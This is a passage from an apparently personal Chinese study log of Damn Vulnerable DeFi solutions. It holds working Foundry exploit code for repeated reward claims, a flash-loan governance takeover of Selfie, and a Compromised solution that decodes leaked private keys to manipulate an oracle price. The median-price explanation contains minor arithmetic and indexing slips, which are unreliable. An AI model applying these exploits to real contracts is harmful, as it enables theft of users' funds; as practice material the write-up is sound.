if(i < total_reclaim_times_DVT) {
inputClaims[i] = Claim({
batchNumber: 0,
amount: player_claimable_DVT,
tokenIndex: 0,
proof: merkle.getProof(dvtLeaves, 188) // Player's address is at index 188
});
} else {
inputClaims[i] = Claim({
batchNumber: 0,
amount: player_claimable_WETH,
tokenIndex: 1,
proof: merkle.getProof(wethLeaves, 188) // Player's address is at index 188
});
}
}
/**
* Run exploit
*/
distributor.claimRewards(inputClaims, inputTokens);
/**
* Check result
*/
DVT_in_distributor = dvt.balanceOf(address(distributor));
WETH_in_distributor = weth.balanceOf(address(distributor));
console.log("[After Attack] dvt.balanceOf(distributor): ", DVT_in_distributor);
console.log("[After Attack] weth.balanceOf(distributor): ", WETH_in_distributor);
if (DVT_in_distributor > 1e16) {
console.log("You shall not pass because to too much DVT in distributor"); // expect not show
}
if (WETH_in_distributor > 1e15) {
console.log("You shall not pass because to too much DVT in distributor"); // expect not show
}
/**
* Transfer to recovery
*/
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
-
把 09.18 的題目補完
-
稍微看了一下 DVD-06-Selfie,肉眼掃 Code
-
目測感覺是要找方法濫用
SimpleGovernance
來呼叫SelfiePool.emergencyExit()
函數,把 token 幹走 -
因為感覺
flashLoan()
函數沒什麼地方可以把錢偷走了...transfer走的 token 應該也會在後續的 transferFrom 被拿回來 -
未看實施細節先猜,過關方式是呼叫
queueAction()
函數 pending 一個 proposal 進去 -
然後再呼叫
executeAction()
函數,以 Governance 的身份執行SelfiePool.emergencyExit()
函數 -
再往深一點的地方看,尋找正確呼叫
SimpleGovernance.queueAction()
的方式,發現它需要有一定數量的 voting token 才能 queue 一個 Action- 我猜測這裡應該是要透過
SelfiePool.flashLoan()
借一點 voting token 出來
- 我猜測這裡應該是要透過
-
要執行
SimpleGovernance.executeAction()
看起來是必須等待 queue 了 Action 之後 2 天嗎...Hmmmunchecked{ timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt}
這一段看起來怪詭異的...- 但感覺...這好像只是為了省 overflow checker 的 gas fee, 實際上也沒看到可以利用的地方呢...
-
那這樣好像只能手動用 Foundry 作弊,快轉區塊時間 2 天了呢
-
明天補上 Exploit Code
- 通關條件: 把
SelfiePool
合約的 token 餘額偷走,轉到 recovery 帳號去 - 解法:
- 昨天的分析是正確的,可以參考 09.19 的解題分析內容。
- 我們需要做的是: 發起一個
SelfiePool.flashLoan()
- 把
SelfiePool
合約的 voting token 借出來- 呼叫
token.delegate(address(this))
使攻擊合約有足夠的 vote 可以通過SimpleGovernance._hasEnoughVotes()
的檢查 - 向
SimpleGovernance
發起一個queueAction()
請求 queueAction(bytes calldata data)
裡面帶入的參數是SelfiePool.emergencyExit(recovery)
- 閃電貸還款
- 呼叫
- 然後等待 2 天,使 queue 進去的 Action 足夠成熟 (可以用 Foundry 作弊碼快轉區塊時間)
- 然後呼叫
SimpleGovernance.executeAction()
來把SelfiePool
的 voting token 全部拿出來
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
function test_selfie() public checkSolvedByPlayer {
Hack hack = new Hack(token, governance, pool, recovery);
bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
pool.flashLoan(hack, address(token), TOKENS_IN_POOL, data);
vm.warp(2 days + 1);
governance.executeAction(1);
}
contract Hack is IERC3156FlashBorrower {
DamnValuableVotes _token;
SimpleGovernance governance;
SelfiePool pool;
address recovery;
constructor(DamnValuableVotes token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) {
_token = token;
governance = _governance;
pool = _pool;
recovery = _recovery;
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external override returns (bytes32) {
_token.delegate(address(this));
governance.queueAction(address(pool), 0, data);
IERC20(token).approve(msg.sender, type(uint256).max);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
- 過關條件: 把
Exchange
合約的 ETH 轉走放到recovery
帳號,並且 NFT 的價格仍然維持在 999 ETH 不變 - 解題分析:
- 這一題提供了一個怪怪的 HTTP 封包內容
- 很明顯是 Hex Encode 過的東西
- 不知道這包 HTTP 是啥,先看合約代碼
- 從合約名稱可以看到
TrustfulOracle
,猜測可能是 Price Manipulation Attack- 也許是先把價格拉到超低,以 0.1 ETH 購入 NFT
- 買入後,再把 NFT 價格拉到超高,賣給
Exchange
,把Exchange
的 ETH 全部捲走 - 然後再把價格定錨回到 999 ETH 之類的
- 要這樣做,只能操縱
oracle.getMedianPrice(token.symbol())
的返回值了 oracle.getMedianPrice()
的實施方式大概是這樣:- 此例為 ``
- 取
N
個價格插槽,假設N
為 4,N
此時是個雙數 (N 從 0 開始算) - 假設價格插槽裡面放了
[1, 3, 6, 10, 7]
- 取中間值與前一個值的平均值作為返回值
- 此例為第 2 與第 3 個元素,所以是
6
與10
6 + 10 / 2 = 8
,返回中位價格8
- 再看一例
- 取
N
個價格插槽,假設N
為 3,N
此時是個單數 (N 從 0 開始算) - 假設價格插槽裡面放了
[1, 3, 6, 10]
- 取第
length / 2
個元素作為返回值 - 此例為第 1 個元素,所以返回
3
- 那麼題目有幾個插槽呢? 題目有 3 個價格插槽
- 3 個價格插槽的數值都一樣是 999 ETH,所以中位數價格也會是 999 ETH
- 誰可以操縱價格呢? 操縱價格的人限定是需要持有
TRUSTED_SOURCE_ROLE
的錢包地址 - 有這個 ROLE 的錢包地址只有這三個 sources
- 所以看起來我們的
player
帳號也沒辦法操縱價格 - 考量到題目名稱叫做 Compromised,應該是要找三個 sources 的 private key
- 一開始想到
anvil
裡面的 private key,但沒有匹配 - 回頭想到題目頁面提供了一個 HTTP 封包,也許 Private Key 就在裡面
- 第一段 Hex 解碼之後會得到
ASCII("MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0")
- 第二段 Hex 解碼之後會得到
ASCII("MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5")
- 這東西看起來有點像是 Base64 的格式,再拿去做 b64decode
- 第一段得到
0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744
- 第二段得到
0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159
- 這串長度剛好符合 private key 要求的 64 個 hex 字符
- 可以直接匯入 metamask 或是 python 腳本,看看他對應的錢包地址是什麼 (見下方範例代碼)
- 結果這兩組 Decode 出來的結果,剛好就是其中兩個 sources 的 private key
- 所以接下來的思路就很明確了: 用 trusted sources 的帳號,去
postPrice()
操縱 NFT 的價格 - 阿因為既然我們都有兩隻 trusted sources 的私鑰了,我接下來用 foundry 作弊碼直接模擬這兩隻帳號的動作來過關...
from eth_account import Account
magic_decode_output_1 = "0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744"
magic_decode_output_2 = "0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159"
private_key_1 = Account.from_key(magic_decode_output_1)
private_key_2 = Account.from_key(magic_decode_output_2)
wallet_address_1 = private_key_1.address
wallet_address_2 = private_key_2.address
print(f"Ethereum Address 1: {wallet_address_1}")
print(f"Ethereum Address 2: {wallet_address_2}")
function test_compromised() public checkSolved {
vm.prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088);
oracle.postPrice("DVNFT", 0);
vm.prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8);
oracle.postPrice("DVNFT", 0);
vm.prank(player);
exchange.buyOne{value: 1}();
vm.prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088);
oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
vm.prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8);
oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
vm.startPrank(player);
nft.approve(address(exchange), 0);
exchange.sellOne(0);
payable(recovery).transfer(EXCHANGE_INITIAL_ETH_BALANCE);
}